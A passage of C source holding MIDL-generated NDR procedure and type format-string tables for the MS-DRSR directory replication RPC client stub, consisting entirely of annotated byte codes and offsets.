*/\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 2104 */\tNdrFcShort( 0x1e8a ),\t/* Type Offset=7818 */\n\n\t/* Return value */\n\n/* 2106 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2108 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 2110 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t\t\t0x0\n        }\n    };\n\n// TYPE Format String (extracted from WORKING ms-drsr_c.c)\nstatic const ms2Ddrsr_MIDL_TYPE_FORMAT_STRING ms2Ddrsr__MIDL_TypeFormatString =\n    {\n        0,\n        {\n\t\t\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  2 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/*  4 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (12) */\n/*  6 */\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/*  8 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 10 */\t0x1,\t\t/* FC_BYTE */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 12 */\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 14 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 16 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 18 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 20 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfff1 ),\t/* Offset= -15 (6) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 24 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 26 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (50) */\n/* 28 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 30 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 32 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 34 */\tNdrFcShort( 0xfffc ),\t/* -4 */\n/* 36 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 38 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 40 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 44 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 48 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 50 */\n\t\t\t0x17,\t\t/* FC_CSTRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 52 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 54 */\tNdrFcShort( 0xffe6 ),\t/* Offset= -26 (28) */\n/* 56 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 58 */\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 60 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (24) */\n/* 62 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 64 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (66) */\n/* 66 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xa0,\t\t/* Ctxt flags:  via ptr, out, */\n/* 68 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 70 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 72 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (74) */\n/* 74 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe1,\t\t/* Ctxt flags:  via ptr, in, out, can't be null */\n/* 76 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 78 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x41,\t\t/* Ctxt flags:  in, can't be null */\n/* 80 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 82 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 84 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (86) */\n/* 86 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 88 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 90 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 92 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 94 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 96 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 100 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 104 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (106) */\n/* 106 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 108 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 110 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 114 */\tNdrFcShort( 0x42 ),\t/* Offset= 66 (180) */\n/* 116 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 120 */\tNdrFcShort( 0x76 ),\t/* Offset= 118 (238) */\n/* 122 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (121) */\n/* 124 */\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 126 */\tNdrFcShort( 0x1c ),\t/* 28 */\n/* 128 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 130 */\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x0,\t\t/* 0 */\n/* 132 */\tNdrFcShort( 0x1c ),\t/* 28 */\n/* 134 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 136 */\tNdrFcShort( 0xfff4 ),\t/* Offset= -12 (124) */\n/* 138 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 140 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 142 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 144 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x57,\t\t/* FC_ADD_1 */\n/* 146 */\tNdrFcShort( 0xfffc ),\t/* -4 */\n/* 148 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 150 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 152 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 156 */\tNdrFcLong( 0xa00001 ),\t/* 10485761 */\n/* 160 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 162 */\n\t\t\t0x17,\t\t/* FC_CSTRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 164 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 166 */\tNdrFcShort( 0xffe6 ),\t/* Offset= -26 (140) */\n/* 168 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 170 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 172 */\tNdrFcShort( 0xff60 ),\t/* Offset= -160 (12) */\n/* 174 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 176 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (130) */\n/* 178 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 180 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 182 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 184 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 186 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (198) */\n/* 188 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 190 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xff4d ),\t/* Offset= -179 (12) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 194 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 196 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 198 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 200 */\tNdrFcShort( 0xffda ),\t/* Offset= -38 (162) */\n/* 202 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 204 */\n\t\t\t0x22,\t\t/* FC_C_CSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 206 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 208 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 210 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 212 */\tNdrFcShort( 0xfff4 ),\t/* -12 */\n/* 214 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 216 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 218 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 222 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 226 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 228 */\n\t\t\t0x17,\t\t/* FC_CSTRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 230 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 232 */\tNdrFcShort( 0xffe6 ),\t/* Offset= -26 (206) */\n/* 234 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 236 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 238 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 240 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 242 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 244 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (260) */\n/* 246 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 248 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xff13 ),\t/* Offset= -237 (12) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 252 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 254 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xff0d ),\t/* Offset= -243 (12) */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 258 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 260 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 262 */\tNdrFcShort( 0xff9c ),\t/* Offset= -100 (162) */\n/* 264 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 266 */\n\t\t\t0x22,\t\t/* FC_C_CSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 268 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 270 */\tNdrFcShort( 0xffd6 ),\t/* Offset= -42 (228) */\n/* 272 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 274 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (276) */\n/* 276 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 278 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 280 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 282 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 284 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 286 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 290 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 294 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (296) */\n/* 296 */\tNdrFcShort( 0xa8 ),\t/* 168 */\n/* 298 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 300 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 304 */\tNdrFcShort( 0x134 ),\t/* Offset= 308 (612) */\n/* 306 */\tNdrFcLong( 0x5 ),\t/* 5 */\n/* 310 */\tNdrFcShort( 0x14a ),\t/* Offset= 330 (640) */\n/* 312 */\tNdrFcLong( 0x7 ),\t/* 7 */\n/* 316 */\tNdrFcShort( 0x16c ),\t/* Offset= 364 (680) */\n/* 318 */\tNdrFcLong( 0x8 ),\t/* 8 */\n/* 322 */\tNdrFcShort( 0x18a ),\t/* Offset= 394 (716) */\n/* 324 */\tNdrFcLong( 0xa ),\t/* 10 */\n/* 328 */\tNdrFcShort( 0x1ba ),\t/* Offset= 442 (770) */\n/* 330 */\tNdrFcLong( 0xb ),\t/* 11 */\n/* 334 */\tNdrFcShort( 0x1ec ),\t/* Offset= 492 (826) */\n/* 336 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (335) */\n/* 338 */\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 340 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 342 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 344 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 346 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 348 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 350 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 352 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 354 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 356 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 358 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 362 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 366 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 368 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 370 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 372 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 374 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (380) */\n/* 376 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 378 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 380 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 382 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (346) */\n/* 384 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 386 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 388 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 390 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (390) */\n/* 392 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 394 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 396 */\tNdrFcShort( 0xffe4 ),\t/* Offset= -28 (368) */\n/* 398 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 400 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 402 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 404 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 406 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 408 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 410 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 412 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 416 */\tNdrFcLong( 0x100000 ),\t/* 1048576 */\n/* 420 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 424 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 426 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 428 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 432 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 436 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 438 */\tNdrFcShort( 0xffca ),\t/* Offset= -54 (384) */\n/* 440 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 442 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 444 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 446 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 448 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (454) */\n/* 450 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 452 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 454 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 456 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (400) */\n/* 458 */\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 460 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 462 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 464 */\tNdrFcShort( 0xfe3c ),\t/* Offset= -452 (12) */\n/* 466 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 468 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 470 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 472 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 474 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 476 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 478 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 480 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 484 */\tNdrFcLong( 0x100000 ),\t/* 1048576 */\n/* 488 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 490 */\tNdrFcShort( 0xffe0 ),\t/* Offset= -32 (458) */\n/* 492 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 494 */\n\t\t\t0x17,\t\t/* FC_CSTRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 496 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 498 */\tNdrFcShort( 0xffe2 ),\t/* Offset= -30 (468) */\n/* 500 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 502 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 504 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 506 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 508 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 510 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 512 */\tNdrFcShort( 0xfffc ),\t/* -4 */\n/* 514 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 516 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 518 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 522 */\tNdrFcLong( 0x100000 ),\t/* 1048576 */\n/* 526 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 528 */\n\t\t\t0x17,\t\t/* FC_CSTRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 530 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 532 */\tNdrFcShort( 0xffe6 ),\t/* Offset= -26 (506) */\n/* 534 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 536 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 538 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 540 */\tNdrFcShort( 0x70 ),\t/* 112 */\n/* 542 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 544 */\tNdrFcShort( 0x1a ),\t/* Offset= 26 (570) */\n/* 546 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 548 */\tNdrFcShort( 0xfde8 ),\t/* Offset= -536 (12) */\n/* 550 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 552 */\tNdrFcShort( 0xfde4 ),\t/* Offset= -540 (12) */\n/* 554 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 556 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xff25 ),\t/* Offset= -219 (338) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 560 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 562 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xff87 ),\t/* Offset= -121 (442) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 566 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 568 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 570 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 572 */\tNdrFcShort( 0xfe66 ),\t/* Offset= -410 (162) */\n/* 574 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 576 */\tNdrFcShort( 0xffae ),\t/* Offset= -82 (494) */\n/* 578 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 580 */\tNdrFcShort( 0xffcc ),\t/* Offset= -52 (528) */\n/* 582 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 584 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 586 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 588 */\tNdrFcShort( 0xfffc ),\t/* -4 */\n/* 590 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 592 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 594 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 598 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 602 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 604 */\n\t\t\t0x17,\t\t/* FC_CSTRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 606 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 608 */\tNdrFcShort( 0xffe6 ),\t/* Offset= -26 (582) */\n/* 610 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 612 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 614 */\tNdrFcShort( 0x88 ),\t/* 136 */\n/* 616 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 618 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (630) */\n/* 620 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 622 */\tNdrFcShort( 0xfd9e ),\t/* Offset= -610 (12) */\n/* 624 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 626 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffa7 ),\t/* Offset= -89 (538) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 630 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 632 */\tNdrFcShort( 0xffe4 ),\t/* Offset= -28 (604) */\n/* 634 */\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 636 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 638 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 640 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 642 */\tNdrFcShort( 0x60 ),\t/* 96 */\n/* 644 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 646 */\tNdrFcShort( 0x1a ),\t/* Offset= 26 (672) */\n/* 648 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 650 */\tNdrFcShort( 0xfd82 ),\t/* Offset= -638 (12) */\n/* 652 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 654 */\tNdrFcShort( 0xfd7e ),\t/* Offset= -642 (12) */\n/* 656 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 658 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfebf ),\t/* Offset= -321 (338) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 662 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 664 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 666 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 668 */\tNdrFcShort( 0xffde ),\t/* Offset= -34 (634) */\n/* 670 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 672 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 674 */\tNdrFcShort( 0xfe00 ),\t/* Offset= -512 (162) */\n/* 676 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 678 */\tNdrFcShort( 0xff48 ),\t/* Offset= -184 (494) */\n/* 680 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 682 */\tNdrFcShort( 0xa8 ),\t/* 168 */\n/* 684 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 686 */\tNdrFcShort( 0x12 ),\t/* Offset= 18 (704) */\n/* 688 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 690 */\tNdrFcShort( 0xfd5a ),\t/* Offset= -678 (12) */\n/* 692 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 694 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xff63 ),\t/* Offset= -157 (538) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 698 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 700 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfefd ),\t/* Offset= -259 (442) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 704 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 706 */\tNdrFcShort( 0xff9a ),\t/* Offset= -102 (604) */\n/* 708 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 710 */\tNdrFcShort( 0xff4a ),\t/* Offset= -182 (528) */\n/* 712 